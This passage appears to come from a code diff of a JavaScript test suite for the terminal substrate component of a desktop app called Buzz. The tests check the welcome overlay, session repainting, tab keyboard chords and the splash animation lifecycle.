viewport: { ...EMPTY_FRAME.viewport, generation: 2 },
|
||||||
|
rows: [
|
||||||
|
{
|
||||||
|
line: 0,
|
||||||
|
spans: [
|
||||||
|
{
|
||||||
|
style: { fg: 0, bg: 0, flags: 0 },
|
||||||
|
clusters: [{ column: 0, text: "$", width: 1 }],
|
||||||
|
},
|
||||||
|
],
|
||||||
|
},
|
||||||
|
],
|
||||||
|
};
|
||||||
|
|
||||||
|
async function expectWelcome(view, present) {
|
||||||
|
// Compare a boolean, never the node: an AssertionError carrying a mounted
|
||||||
|
// element inspects it to build its message, and `__reactFiber$` makes that
|
||||||
|
// walk the whole fiber graph — a failure takes ~2min to report instead of ms.
|
||||||
|
await waitFor(() =>
|
||||||
|
assert.equal(
|
||||||
|
view.container.querySelector(".buzz-terminal-welcome") !== null,
|
||||||
|
present,
|
||||||
|
),
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
async function reveal(view) {
|
||||||
|
const substrate = view.container.querySelector(".buzz-terminal-substrate");
|
||||||
|
toggleChord();
|
||||||
|
await waitFor(() =>
|
||||||
|
assert.equal(substrate.dataset.terminalOwner, "terminal"),
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
test("spawn-time output before the first reveal keeps the welcome overlay", async () => {
|
||||||
|
const subject = fixture({ frame: EMPTY_FRAME });
|
||||||
|
await ready(subject.view);
|
||||||
|
await expectWelcome(subject.view, true);
|
||||||
|
|
||||||
|
subject.rerender({ frame: VISIBLE_FRAME });
|
||||||
|
await expectWelcome(subject.view, true);
|
||||||
|
|
||||||
|
await reveal(subject.view);
|
||||||
|
await expectWelcome(subject.view, true);
|
||||||
|
});
|
||||||
|
|
||||||
|
test("the first keystroke dismisses the welcome overlay", async () => {
|
||||||
|
const subject = fixture({ frame: VISIBLE_FRAME });
|
||||||
|
await ready(subject.view);
|
||||||
|
await reveal(subject.view);
|
||||||
|
await expectWelcome(subject.view, true);
|
||||||
|
|
||||||
|
fireEvent.input(subject.view.getByLabelText("Terminal input"), {
|
||||||
|
target: { value: "l" },
|
||||||
|
});
|
||||||
|
await expectWelcome(subject.view, false);
|
||||||
|
});
|
||||||
|
|
||||||
|
test("non-empty output after the reveal dismisses the welcome overlay", async () => {
|
||||||
|
const subject = fixture({ frame: EMPTY_FRAME });
|
||||||
|
await ready(subject.view);
|
||||||
|
await reveal(subject.view);
|
||||||
|
await expectWelcome(subject.view, true);
|
||||||
|
|
||||||
|
subject.rerender({ frame: VISIBLE_FRAME });
|
||||||
|
await expectWelcome(subject.view, false);
|
||||||
|
});
|
||||||
|
|
||||||
|
test("empty active output keeps the welcome overlay", async () => {
|
||||||
|
const subject = fixture({ frame: EMPTY_FRAME });
|
||||||
|
await ready(subject.view);
|
||||||
|
await reveal(subject.view);
|
||||||
|
await expectWelcome(subject.view, true);
|
||||||
|
|
||||||
|
subject.rerender({
|
||||||
|
frame: {
|
||||||
|
...EMPTY_FRAME,
|
||||||
|
viewport: { ...EMPTY_FRAME.viewport, generation: 2 },
|
||||||
|
},
|
||||||
|
});
|
||||||
|
await expectWelcome(subject.view, true);
|
||||||
|
});
|
||||||
|
|
||||||
|
test("non-empty output from an inactive PTY keeps the welcome overlay", async () => {
|
||||||
|
const subject = fixture({
|
||||||
|
sessionFrames: [{ frame: EMPTY_FRAME, sessionId: "one" }],
|
||||||
|
sessions: [
|
||||||
|
{ active: true, closing: false, id: "one", title: "SHELL" },
|
||||||
|
{ active: false, closing: false, id: "two", title: "LOG" },
|
||||||
|
],
|
||||||
|
});
|
||||||
|
await ready(subject.view);
|
||||||
|
await reveal(subject.view);
|
||||||
|
await expectWelcome(subject.view, true);
|
||||||
|
|
||||||
|
subject.rerender({
|
||||||
|
sessionFrames: [
|
||||||
|
{ frame: EMPTY_FRAME, sessionId: "one" },
|
||||||
|
{ frame: VISIBLE_FRAME, sessionId: "two" },
|
||||||
|
],
|
||||||
|
});
|
||||||
|
await expectWelcome(subject.view, true);
|
||||||
|
});
|
||||||
|
|
||||||
|
test("mounted wheel path accumulates fractional lines per active session", async () => {
|
||||||
|
const { calls, view } = fixture();
|
||||||
|
await ready(view);
|
||||||
|
const substrate = view.container.querySelector(".buzz-terminal-substrate");
|
||||||
|
fireEvent.wheel(substrate, { deltaMode: 0, deltaY: 8 });
|
||||||
|
assert.deepEqual(calls.scroll, []);
|
||||||
|
fireEvent.wheel(substrate, { deltaMode: 0, deltaY: 10 });
|
||||||
|
assert.deepEqual(calls.scroll, [1]);
|
||||||
|
});
|
||||||
|
|
||||||
|
test("canvas failure atomically restores Buzz ownership", async () => {
|
||||||
|
const { props, view } = fixture();
|
||||||
|
await ready(view);
|
||||||
|
const substrate = view.container.querySelector(".buzz-terminal-substrate");
|
||||||
|
toggleChord();
|
||||||
|
await waitFor(() =>
|
||||||
|
assert.equal(substrate.dataset.terminalOwner, "terminal"),
|
||||||
|
);
|
||||||
|
dom.window.HTMLCanvasElement.prototype.getContext = () => null;
|
||||||
|
view.rerender(
|
||||||
|
createElement(
|
||||||
|
ThemeProvider,
|
||||||
|
null,
|
||||||
|
createElement("div", {
|
||||||
|
className: "buzz-huddle-app-surface",
|
||||||
|
tabIndex: -1,
|
||||||
|
}),
|
||||||
|
createElement(TerminalSubstrate, {
|
||||||
|
...props,
|
||||||
|
frame: {
|
||||||
|
cursor: { column: 0, line: 0, visible: false },
|
||||||
|
full: false,
|
||||||
|
rows: [],
|
||||||
|
viewport: { columns: 80, generation: 1, screenLines: 24 },
|
||||||
|
},
|
||||||
|
}),
|
||||||
|
),
|
||||||
|
);
|
||||||
|
await waitFor(() => assert.equal(substrate.dataset.terminalOwner, "buzz"));
|
||||||
|
toggleChord();
|
||||||
|
await waitFor(() =>
|
||||||
|
assert.equal(substrate.dataset.terminalOwner, "terminal"),
|
||||||
|
);
|
||||||
|
});
|
||||||
|
|
||||||
|
test("cursor blink runs only while the terminal owns input and resets on input", async () => {
|
||||||
|
const originalSetInterval = window.setInterval;
|
||||||
|
const originalClearInterval = window.clearInterval;
|
||||||
|
const callbacks = new Map();
|
||||||
|
let nextTimer = 1;
|
||||||
|
window.setInterval = (callback) => {
|
||||||
|
const timer = nextTimer++;
|
||||||
|
callbacks.set(timer, callback);
|
||||||
|
return timer;
|
||||||
|
};
|
||||||
|
window.clearInterval = (timer) => callbacks.delete(timer);
|
||||||
|
try {
|
||||||
|
const subject = fixture({ frame: VISIBLE_FRAME });
|
||||||
|
await ready(subject.view);
|
||||||
|
assert.equal(callbacks.size, 0, "Buzz ownership must pause blinking");
|
||||||
|
|
||||||
|
toggleChord();
|
||||||
|
await waitFor(() => assert.equal(callbacks.size, 1));
|
||||||
|
const firstTimer = [...callbacks.keys()][0];
|
||||||
|
act(() => callbacks.get(firstTimer)());
|
||||||
|
|
||||||
|
fireEvent.input(subject.view.getByLabelText("Terminal input"), {
|
||||||
|
target: { value: "a" },
|
||||||
|
});
|
||||||
|
await waitFor(() => {
|
||||||
|
assert.deepEqual(subject.calls.input, ["a"]);
|
||||||
|
assert.equal(callbacks.size, 1);
|
||||||
|
assert.equal(callbacks.has(firstTimer), false);
|
||||||
|
});
|
||||||
|
|
||||||
|
toggleChord();
|
||||||
|
await waitFor(() => assert.equal(callbacks.size, 0));
|
||||||
|
} finally {
|
||||||
|
window.setInterval = originalSetInterval;
|
||||||
|
window.clearInterval = originalClearInterval;
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
test("reduced motion keeps the terminal cursor solid", async () => {
|
||||||
|
reducedMotion = true;
|
||||||
|
const originalSetInterval = window.setInterval;
|
||||||
|
let intervals = 0;
|
||||||
|
window.setInterval = () => {
|
||||||
|
intervals += 1;
|
||||||
|
return 1;
|
||||||
|
};
|
||||||
|
try {
|
||||||
|
const subject = fixture({ frame: VISIBLE_FRAME });
|
||||||
|
await ready(subject.view);
|
||||||
|
toggleChord();
|
||||||
|
await waitFor(() =>
|
||||||
|
assert.equal(
|
||||||
|
subject.view.container.querySelector(".buzz-terminal-substrate").dataset
|
||||||
|
.terminalOwner,
|
||||||
|
"terminal",
|
||||||
|
),
|
||||||
|
);
|
||||||
|
assert.equal(intervals, 0);
|
||||||
|
} finally {
|
||||||
|
window.setInterval = originalSetInterval;
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
const TWO_SESSIONS = [
|
||||||
|
{ active: true, closing: false, id: "one", title: "SHELL" },
|
||||||
|
{ active: false, closing: false, id: "two", title: "LOG" },
|
||||||
|
];
|
||||||
|
|
||||||
|
function frameWith(text, generation = 1) {
|
||||||
|
return {
|
||||||
|
cursor: { column: 0, line: 0, visible: false },
|
||||||
|
full: false,
|
||||||
|
rows: [
|
||||||
|
{
|
||||||
|
line: 0,
|
||||||
|
spans: [
|
||||||
|
{
|
||||||
|
style: { fg: 0, bg: 0, flags: 0 },
|
||||||
|
clusters: [{ column: 0, text, width: text.length }],
|
||||||
|
},
|
||||||
|
],
|
||||||
|
},
|
||||||
|
],
|
||||||
|
viewport: { columns: 112, generation, screenLines: 46 },
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
const SWAPPED_SESSIONS = [
|
||||||
|
{ active: false, closing: false, id: "one", title: "SHELL" },
|
||||||
|
{ active: true, closing: false, id: "two", title: "LOG" },
|
||||||
|
];
|
||||||
|
|
||||||
|
test("switching back to an idle session repaints its retained rows", async () => {
|
||||||
|
const subject = fixture({
|
||||||
|
sessionFrames: [
|
||||||
|
{ frame: frameWith("one"), sessionId: "one" },
|
||||||
|
{ frame: frameWith("two"), sessionId: "two" },
|
||||||
|
],
|
||||||
|
sessions: TWO_SESSIONS,
|
||||||
|
});
|
||||||
|
await ready(subject.view);
|
||||||
|
await waitFor(() =>
|
||||||
|
assert.ok(gridDraws(subject.view).some((entry) => entry.text === "one")),
|
||||||
|
);
|
||||||
|
|
||||||
|
// A round trip is required, not a single switch: `paint()` is what drains the
|
||||||
|
// dirty set, so a grid that has never been painted still holds every line and
|
||||||
|
// repaints on first switch by luck. Only a session that was painted and then
|
||||||
|
// deactivated has an empty dirty set while holding rows.
|
||||||
|
subject.rerender({ sessions: SWAPPED_SESSIONS });
|
||||||
|
await waitFor(() =>
|
||||||
|
assert.ok(gridDraws(subject.view).some((entry) => entry.text === "two")),
|
||||||
|
);
|
||||||
|
|
||||||
|
paintLog.length = 0;
|
||||||
|
subject.rerender({ sessions: TWO_SESSIONS });
|
||||||
|
await waitFor(() =>
|
||||||
|
assert.ok(
|
||||||
|
gridDraws(subject.view).some((entry) => entry.text === "one"),
|
||||||
|
"returning to an idle session must repaint its retained rows",
|
||||||
|
),
|
||||||
|
);
|
||||||
|
assert.equal(
|
||||||
|
gridDraws(subject.view).some((entry) => entry.text === "two"),
|
||||||
|
false,
|
||||||
|
"the outgoing session's rows must not be repainted",
|
||||||
|
);
|
||||||
|
});
|
||||||
|
|
||||||
|
test("switching to a session with no frame yet clears the outgoing pixels", async () => {
|
||||||
|
const subject = fixture({
|
||||||
|
sessionFrames: [{ frame: frameWith("one"), sessionId: "one" }],
|
||||||
|
sessions: TWO_SESSIONS,
|
||||||
|
});
|
||||||
|
await ready(subject.view);
|
||||||
|
await waitFor(() =>
|
||||||
|
assert.ok(gridDraws(subject.view).some((entry) => entry.text === "one")),
|
||||||
|
);
|
||||||
|
|
||||||
|
// Session "two" has delivered no frame, so it has no grid: `markAllDirty()`
|
||||||
|
// and `paint()` are both no-ops and only a background fill can erase "one".
|
||||||
|
paintLog.length = 0;
|
||||||
|
subject.rerender({ sessions: SWAPPED_SESSIONS });
|
||||||
|
await waitFor(() =>
|
||||||
|
assert.ok(
|
||||||
|
gridDraws(subject.view).some(
|
||||||
|
(entry) =>
|
||||||
|
entry.kind === "fill" &&
|
||||||
|
entry.x === 0 &&
|
||||||
|
entry.y === 0 &&
|
||||||
|
entry.width === 940.8 &&
|
||||||
|
entry.height === 782,
|
||||||
|
),
|
||||||
|
"a full-viewport background fill must erase the outgoing session",
|
||||||
|
),
|
||||||
|
);
|
||||||
|
assert.equal(
|
||||||
|
gridDraws(subject.view).some((entry) => entry.text === "one"),
|
||||||
|
false,
|
||||||
|
);
|
||||||
|
});
|
||||||
|
|
||||||
|
test("a frame on an unchanged session does not force a full repaint", async () => {
|
||||||
|
const subject = fixture({
|
||||||
|
sessionFrames: [{ frame: frameWith("one"), sessionId: "one" }],
|
||||||
|
sessions: TWO_SESSIONS,
|
||||||
|
});
|
||||||
|
await ready(subject.view);
|
||||||
|
await waitFor(() =>
|
||||||
|
assert.ok(gridDraws(subject.view).some((entry) => entry.text === "one")),
|
||||||
|
);
|
||||||
|
|
||||||
|
// Guards the damage model, not the bug: dropping the `paintedSessionRef`
|
||||||
|
// write leaves `sessionChanged` permanently true, which repaints the whole
|
||||||
|
// viewport on every frame. That looks correct on screen and passes every
|
||||||
|
// assertion above, so only a negative test can see it.
|
||||||
|
paintLog.length = 0;
|
||||||
|
subject.rerender({
|
||||||
|
sessionFrames: [{ frame: frameWith("more", 1), sessionId: "one" }],
|
||||||
|
});
|
||||||
|
await waitFor(() =>
|
||||||
|
assert.ok(gridDraws(subject.view).some((entry) => entry.text === "more")),
|
||||||
|
);
|
||||||
|
assert.equal(
|
||||||
|
gridDraws(subject.view).some(
|
||||||
|
(entry) =>
|
||||||
|
entry.kind === "fill" && entry.width === 940.8 && entry.height === 782,
|
||||||
|
),
|
||||||
|
false,
|
||||||
|
"an incremental frame must not fill the whole viewport",
|
||||||
|
);
|
||||||
|
});
|
||||||
|
|
||||||
|
test("a switch during a bailed paint pass is honoured once painting resumes", async () => {
|
||||||
|
const subject = fixture({
|
||||||
|
sessionFrames: [{ frame: frameWith("one"), sessionId: "one" }],
|
||||||
|
sessions: TWO_SESSIONS,
|
||||||
|
});
|
||||||
|
await ready(subject.view);
|
||||||
|
await waitFor(() =>
|
||||||
|
assert.ok(gridDraws(subject.view).some((entry) => entry.text === "one")),
|
||||||
|
);
|
||||||
|
|
||||||
|
// The paint effect returns early when there is no 2d context. Writing
|
||||||
|
// `paintedSessionRef` before those returns would mark this switch as already
|
||||||
|
// painted, and the fill that erases "one" would never run.
|
||||||
|
dom.window.HTMLCanvasElement.prototype.getContext = () => null;
|
||||||
|
subject.rerender({ sessions: SWAPPED_SESSIONS });
|
||||||
|
paintLog.length = 0;
|
||||||
|
|
||||||
|
// Restoring the context is not enough to re-run the effect: its deps are the
|
||||||
|
// session, cursor, frames and palette. A frame for the now-inactive session
|
||||||
|
// re-triggers it without giving "two" a grid and without touching the palette,
|
||||||
|
// either of which would force the fill for an unrelated reason.
|
||||||
|
dom.window.HTMLCanvasElement.prototype.getContext = function () {
|
||||||
|
return paintRecorder(this);
|
||||||
|
};
|
||||||
|
subject.rerender({
|
||||||
|
sessionFrames: [{ frame: frameWith("one", 1), sessionId: "one" }],
|
||||||
|
sessions: SWAPPED_SESSIONS,
|
||||||
|
});
|
||||||
|
await waitFor(() =>
|
||||||
|
assert.ok(
|
||||||
|
gridDraws(subject.view).some(
|
||||||
|
(entry) =>
|
||||||
|
entry.kind === "fill" &&
|
||||||
|
entry.width === 940.8 &&
|
||||||
|
entry.height === 782,
|
||||||
|
),
|
||||||
|
"the pending switch must still repaint after the bail",
|
||||||
|
),
|
||||||
|
);
|
||||||
|
});
|
||||||
|
|
||||||
|
function tabFixture(overrides = {}) {
|
||||||
|
const calls = { close: [], input: [], select: [], spawn: 0 };
|
||||||
|
const subject = fixture({
|
||||||
|
onCloseSession(id) {
|
||||||
|
calls.close.push(id);
|
||||||
|
},
|
||||||
|
onInput(value) {
|
||||||
|
calls.input.push(value);
|
||||||
|
},
|
||||||
|
onNewSession() {
|
||||||
|
calls.spawn += 1;
|
||||||
|
},
|
||||||
|
onSelectSession(id) {
|
||||||
|
calls.select.push(id);
|
||||||
|
},
|
||||||
|
sessions: [
|
||||||
|
{ active: true, closing: false, id: "one", title: "SHELL" },
|
||||||
|
{ active: false, closing: false, id: "two", title: "LOG" },
|
||||||
|
],
|
||||||
|
...overrides,
|
||||||
|
});
|
||||||
|
// Spread order matters: `fixture` returns its own `calls`, so ours goes last.
|
||||||
|
return { ...subject, calls };
|
||||||
|
}
|
||||||
|
|
||||||
|
function press(init) {
|
||||||
|
// Dispatched at the window, which is where the substrate's capture-phase
|
||||||
|
// listener lives -- firing at the textarea would test React's synthetic
|
||||||
|
// tree instead of the layer actually under test.
|
||||||
|
const event = new KeyboardEvent("keydown", {
|
||||||
|
bubbles: true,
|
||||||
|
cancelable: true,
|
||||||
|
...init,
|
||||||
|
});
|
||||||
|
act(() => {
|
||||||
|
window.dispatchEvent(event);
|
||||||
|
});
|
||||||
|
return event;
|
||||||
|
}
|
||||||
|
|
||||||
|
async function revealed(overrides) {
|
||||||
|
const subject = tabFixture(overrides);
|
||||||
|
await ready(subject.view);
|
||||||
|
await reveal(subject.view);
|
||||||
|
return subject;
|
||||||
|
}
|
||||||
|
|
||||||
|
test("tab chords drive new, close, and select while the terminal owns input", async () => {
|
||||||
|
const subject = await revealed({
|
||||||
|
sessions: [
|
||||||
|
{ active: false, closing: false, id: "one", title: "SHELL" },
|
||||||
|
{ active: true, closing: false, id: "two", title: "LOG" },
|
||||||
|
{ active: false, closing: false, id: "three", title: "TAIL" },
|
||||||
|
],
|
||||||
|
});
|
||||||
|
|
||||||
|
const spawn = press({ code: "KeyT", metaKey: true });
|
||||||
|
assert.equal(subject.calls.spawn, 1);
|
||||||
|
assert.equal(spawn.defaultPrevented, true, "⌘T must not reach the page");
|
||||||
|
|
||||||
|
const close = press({ code: "KeyW", metaKey: true });
|
||||||
|
assert.deepEqual(subject.calls.close, ["two"]);
|
||||||
|
assert.equal(close.defaultPrevented, true, "⌘W must not reach the page");
|
||||||
|
|
||||||
|
press({ code: "ArrowRight", metaKey: true, shiftKey: true });
|
||||||
|
press({ code: "ArrowLeft", metaKey: true, shiftKey: true });
|
||||||
|
// Three sessions, active in the middle: with only two tabs, prev and next
|
||||||
|
// resolve to the same id and a direction swap would pass unnoticed.
|
||||||
|
assert.deepEqual(subject.calls.select, ["three", "one"]);
|
||||||
|
|
||||||
|
// Nothing was mistaken for terminal input along the way.
|
||||||
|
assert.deepEqual(subject.calls.input, []);
|
||||||
|
});
|
||||||
|
|
||||||
|
test("tab chords stay inert while Buzz owns input", async () => {
|
||||||
|
const subject = tabFixture();
|
||||||
|
await ready(subject.view);
|
||||||
|
// Deliberately not revealed: owner is "buzz".
|
||||||
|
const spawn = press({ code: "KeyT", metaKey: true });
|
||||||
|
press({ code: "KeyW", metaKey: true });
|
||||||
|
press({ code: "ArrowRight", metaKey: true, shiftKey: true });
|
||||||
|
|
||||||
|
assert.equal(subject.calls.spawn, 0);
|
||||||
|
assert.deepEqual(subject.calls.close, []);
|
||||||
|
assert.deepEqual(subject.calls.select, []);
|
||||||
|
assert.equal(
|
||||||
|
spawn.defaultPrevented,
|
||||||
|
false,
|
||||||
|
"Buzz-mode ⌘T belongs to the rest of the app",
|
||||||
|
);
|
||||||
|
});
|
||||||
|
|
||||||
|
test("control chords keep reaching the PTY instead of the tab layer", async () => {
|
||||||
|
const subject = await revealed();
|
||||||
|
const werase = press({ code: "KeyW", ctrlKey: true });
|
||||||
|
|
||||||
|
assert.deepEqual(subject.calls.close, [], "^W is werase, not close-tab");
|
||||||
|
assert.equal(subject.calls.spawn, 0);
|
||||||
|
assert.equal(
|
||||||
|
werase.defaultPrevented,
|
||||||
|
false,
|
||||||
|
"the chord layer must not consume ^W before the textarea encodes it",
|
||||||
|
);
|
||||||
|
});
|
||||||
|
|
||||||
|
test("⌘W on an already-closing tab does not re-fire close", async () => {
|
||||||
|
const subject = await revealed({
|
||||||
|
sessions: [
|
||||||
|
{ active: true, closing: true, id: "one", title: "SHELL" },
|
||||||
|
{ active: false, closing: false, id: "two", title: "LOG" },
|
||||||
|
],
|
||||||
|
});
|
||||||
|
const close = press({ code: "KeyW", metaKey: true });
|
||||||
|
|
||||||
|
assert.deepEqual(subject.calls.close, []);
|
||||||
|
assert.equal(
|
||||||
|
close.defaultPrevented,
|
||||||
|
true,
|
||||||
|
"the chord is still ours -- swallowed, not forwarded",
|
||||||
|
);
|
||||||
|
});
|
||||||
|
|
||||||
|
test("the handoff chord still toggles with the tab layer installed", async () => {
|
||||||
|
const subject = tabFixture();
|
||||||
|
await ready(subject.view);
|
||||||
|
const substrate = subject.view.container.querySelector(
|
||||||
|
".buzz-terminal-substrate",
|
||||||
|
);
|
||||||
|
toggleChord();
|
||||||
|
await waitFor(() =>
|
||||||
|
assert.equal(substrate.dataset.terminalOwner, "terminal"),
|
||||||
|
);
|
||||||
|
toggleChord();
|
||||||
|
await waitFor(() => assert.equal(substrate.dataset.terminalOwner, "buzz"));
|
||||||
|
});
|
||||||
|
|
||||||
|
// ---------------------------------------------------------------------------
|
||||||
|
// Splash animation lifecycle.
|
||||||
|
//
|
||||||
|
// This substrate is mounted unconditionally on every route and merely
|
||||||
|
// CSS-concealed in Buzz mode, so "is the splash animating?" is a question about
|
||||||
|
// `owner`, not about mounting. A loop gated only on `welcomeVisible` ran at
|
||||||
|
// 120 rAF/s behind the whole app forever for anyone who never opened the
|
||||||
|
// terminal; that is the defect these arms exist to keep dead.
|
||||||
|
//
|
||||||
|
// The rAF clock is driven by hand rather than by jsdom's visual loop: a real
|
||||||
|
// clock can only show "frames happened", while a manual one can advance AFTER a
|
||||||
|
// transition and prove no successor callback was scheduled. Distinguishing a
|
||||||
|
// cancelled frame from a frame that was never scheduled needs that.
|
||||||
|
function splashClock() {
|
||||||
|
const real = {
|
||||||
|
request: dom.window.requestAnimationFrame,
|
||||||
|
cancel: dom.window.cancelAnimationFrame,
|
||||||
|
};
|
||||||
|
const pending = new Map();
|
||||||
|
let nextHandle = 1;
|
||||||
|
let scheduled = 0;
|
||||||
|
let cancelled = 0;
|
||||||
|
dom.window.requestAnimationFrame = (callback) => {
|
||||||
|
const handle = nextHandle++;
|
||||||
|
pending.set(handle, callback);
|
||||||
|
scheduled += 1;
|
||||||
|
return handle;
|
||||||
|
};
|
||||||
|
dom.window.cancelAnimationFrame = (handle) => {
|
||||||
|
if (pending.delete(handle)) cancelled += 1;
|
||||||
|
};
|
||||||
|
return {
|
||||||
|
get scheduled() {
|
||||||
|
return scheduled;
|
||||||
|
},
|
||||||
|
get cancelled() {
|
||||||
|
return cancelled;
|
||||||
|
},
|
||||||
|
get outstanding() {
|
||||||
|
return pending.size;
|
||||||
|
},
|
||||||
|
/** Run every queued callback once, as one frame would. */
|
||||||
|
advance(now = 16) {
|
||||||
|
const due = [...pending.entries()];
|
||||||
|
pending.clear();
|
||||||
|
act(() => {
|
||||||
|
for (const [, callback] of due) callback(now);
|
||||||
|
});
|
||||||
|
return due.length;
|
||||||
|
},
|
||||||
|
restore() {
|
||||||
|
dom.window.requestAnimationFrame = real.request;
|
||||||
|
dom.window.cancelAnimationFrame = real.cancel;
|
||||||
|
},
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
/** Draws issued to the banner/splash canvas only. */
|
||||||
|
function bannerDraws(view) {
|
||||||
|
const banner = view.container.querySelector(".buzz-terminal-welcome");
|
||||||
|
if (!banner) return [];
|
||||||
|
return paintLog.filter((entry) => entry.canvas === banner);
|
||||||
|
}
|
||||||
|
|
||||||
|
test("the splash animation runs only while the terminal is revealed", async () => {
|
||||||
|
const clock = splashClock();
|
||||||
|
try {
|
||||||
|
// ARM 1 — concealed entry. `enabled` defaults true, so this is the
|
||||||
|
// production-shaped state that used to animate behind the channel view.
|
||||||
|
const subject = fixture();
|
||||||
|
await ready(subject.view);
|
||||||
|
const substrate = subject.view.container.querySelector(
|
||||||
|
".buzz-terminal-substrate",
|
||||||
|
);
|
||||||
|
assert.equal(substrate.dataset.terminalOwner, "buzz");
|
||||||
|
await expectWelcome(subject.view, true);
|
||||||
|
assert.equal(
|
||||||
|
clock.scheduled,
|
||||||
|
0,
|
||||||
|
"ARM 1: no splash frame is scheduled while Buzz owns the screen",
|
||||||
|
);
|
||||||
|
clock.advance();
|
||||||
|
assert.equal(
|
||||||
|
bannerDraws(subject.view).length,
|
||||||
|
0,
|
||||||
|
"ARM 1: and no hidden banner paint happens either",
|
||||||
|
);
|
||||||
|
|
||||||
|
// ARM 2 — revealed. The positive control: the loop must actually run, or
|
||||||
|
// arms 1/3 are satisfied by a loop that is simply broken everywhere.
|
||||||
|
await reveal(subject.view);
|
||||||
|
assert.ok(
|
||||||
|
clock.scheduled > 0,
|
||||||
|
"ARM 2: revealing the terminal starts the splash loop",
|
||||||
|
);
|
||||||
|
const afterReveal = clock.scheduled;
|
||||||
|
assert.equal(clock.advance(), 1, "ARM 2: exactly one frame was pending");
|
||||||
|
assert.ok(
|
||||||
|
bannerDraws(subject.view).length > 0,
|
||||||
|
"ARM 2: the revealed splash actually paints",
|
||||||
|
);
|
||||||
|
assert.ok(
|
||||||
|
clock.scheduled > afterReveal,
|
||||||
|
"ARM 2: the loop reschedules itself while revealed",
|
||||||
|
);
|
||||||
|
|
||||||
|
// ARM 3 — terminal -> buzz. The regression users hit: leaving the terminal
|
||||||
|
// must CANCEL the outstanding frame, not merely stop new ones. Advancing
|
||||||
|
// the clock afterwards is what separates those two.
|
||||||
|
const beforeConceal = clock.scheduled;
|
||||||
|
const cancelledBefore = clock.cancelled;
|
||||||
|
toggleChord();
|
||||||
|
await waitFor(() => assert.equal(substrate.dataset.terminalOwner, "buzz"));
|
||||||
|
assert.ok(
|
||||||
|
clock.cancelled > cancelledBefore,
|
||||||
|
"ARM 3: concealing cancels the frame that was already scheduled",
|
||||||
|
);
|
||||||
|
assert.equal(
|
||||||
|
clock.outstanding,
|
||||||
|
0,
|
||||||
|
"ARM 3: nothing is left queued after cleanup",
|
||||||
|
);
|
||||||
|
const drawsBefore = bannerDraws(subject.view).length;
|
||||||
|
clock.advance();
|
||||||
|
clock.advance();
|
||||||
|
assert.equal(
|
||||||
|
clock.scheduled,
|
||||||
|
beforeConceal,
|
||||||
|
"ARM 3: no successor callback is scheduled after concealing",
|
||||||
|
);
|
||||||
|
assert.equal(
|
||||||
|
bannerDraws(subject.view).length,
|
||||||
|
drawsBefore,
|
||||||
|
"ARM 3: and no further hidden banner paint occurs",
|
||||||
|
);
|
||||||
|
|
||||||
|
// ARM 4 — buzz -> terminal again. Proves cleanup did not poison the
|
||||||
|
// positive path: a fix that permanently kills the loop passes 1 and 3.
|
||||||
|
await reveal(subject.view);
|
||||||
|
assert.ok(
|
||||||
|
clock.scheduled > beforeConceal,
|
||||||
|
"ARM 4: re-revealing restarts the splash loop",
|
||||||
|
);
|
||||||
|
clock.advance();
|
||||||
|
assert.ok(
|
||||||
|
bannerDraws(subject.view).length > drawsBefore,
|
||||||
|
"ARM 4: and it paints again",
|
||||||
|
);
|
||||||
|
} finally {
|
||||||
|
clock.restore();
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
// The gate above reads `owner` alone, which is only sound because
|
||||||
|
// `owner === "terminal"` implies `enabled`: the sole `commitOwner("terminal")`
|
||||||
|
// call site sits behind an `!enabled` early return, and dropping `enabled`
|
||||||
|
// forces ownership back to Buzz. That implication is true by construction
|
||||||
|
// today and nothing else in this file pins it, so a refactor adding a second
|
||||||
|
// reveal path outside the `enabled` guard would silently widen the gate. This
|
||||||
|
// arm is that implication, held as a regression test in both directions.
|
||||||
|
test("a disabled terminal cannot reveal, so owner-gating cannot widen", async () => {
|
||||||
|
const clock = splashClock();
|
||||||
|
try {
|
||||||
|
const subject = fixture({ enabled: false });
|
||||||
|
await ready(subject.view);
|
||||||
|
const substrate = subject.view.container.querySelector(
|
||||||
|
".buzz-terminal-substrate",
|
||||||
|
);
|
||||||
|
|
||||||
|
toggleChord();
|
||||||
|
await waitFor(() => assert.ok(substrate.dataset.terminalOwner));
|
||||||
|
assert.equal(
|
||||||
|
substrate.dataset.terminalOwner,
|
||||||
|
"buzz",
|
||||||
|
"the toggle chord must not reveal a terminal that has no session",
|
||||||
|
);
|
||||||
|
assert.equal(
|
||||||
|
clock.scheduled,
|
||||||
|
0,
|
||||||
|
"and no splash frame is scheduled while disabled",
|
||||||
|
);
|
||||||
|
clock.advance();
|
||||||
|
assert.equal(
|
||||||
|
bannerDraws(subject.view).length,
|
||||||
|
0,
|
||||||
|
"nor any hidden banner paint",
|
||||||
|
);
|
||||||
|
|
||||||
|
// The other direction: losing `enabled` while revealed must concede
|
||||||
|
// ownership and cancel the loop, which is what makes the `enabled` term
|
||||||
|
// redundant in the animation gate rather than merely absent from it.
|
||||||
|
subject.rerender({ enabled: true });
|
||||||
|
await reveal(subject.view);
|
||||||
|
assert.ok(clock.scheduled > 0, "the enabled terminal does reveal and run");
|
||||||
|
const afterReveal = clock.scheduled;
|
||||||
|
|
||||||
|
subject.rerender({ enabled: false });
|
||||||
|
await waitFor(() => assert.equal(substrate.dataset.terminalOwner, "buzz"));
|
||||||
|
assert.equal(
|
||||||
|
clock.outstanding,
|
||||||
|
0,
|
||||||
|
"losing the session cancels the outstanding splash frame",
|
||||||
|
);
|
||||||
|
clock.advance();
|
||||||
|
clock.advance();
|
||||||
|
assert.equal(
|
||||||
|
clock.scheduled,
|
||||||
|
afterReveal,
|
||||||
|
"and schedules no successor once disabled",
|
||||||
|
);
|
||||||
|
} finally {
|
||||||
|
clock.restore();
|
||||||
|
}
|
||||||
|
});
|
||||||
627
desktop/src/features/terminal/TerminalSubstrate.tsx
Normal file
627
desktop/src/features/terminal/TerminalSubstrate.tsx
Normal file
@@ -0,0 +1,627 @@
|
|||||||
|
import * as React from "react";
|
||||||
|
|
||||||
|
import { useTheme } from "@/shared/theme/ThemeProvider";
|
||||||
|
import { cn } from "@/shared/lib/cn";
|
||||||
